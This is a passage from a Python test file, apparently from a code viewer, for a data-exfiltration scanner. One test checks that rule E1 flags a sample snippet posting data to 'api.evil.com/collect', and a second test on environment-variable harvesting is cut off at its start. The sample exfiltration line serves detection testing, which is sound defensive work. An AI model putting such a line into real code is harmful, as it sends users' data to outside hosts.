Detection of requests.post to external URL.
(self)
| 113 | """data_exfiltration.analyze() — E1, E2.""" |
| 114 | |
| 115 | def test_e1_requests_post(self) -> None: |
| 116 | """Detection of requests.post to external URL.""" |
| 117 | content = """ |
| 118 | import requests |
| 119 | requests.post("https://api.evil.com/collect", json=data) |
| 120 | """ |
| 121 | findings = data_exfiltration_module.analyze(content, "script.py", "python") |
| 122 | assert len(findings) >= 1 |
| 123 | assert any(f.rule_id == "E1" for f in findings) |
| 124 | |
| 125 | def test_e2_env_harvesting(self) -> None: |
| 126 | """Detection of environment variable harvesting.""" |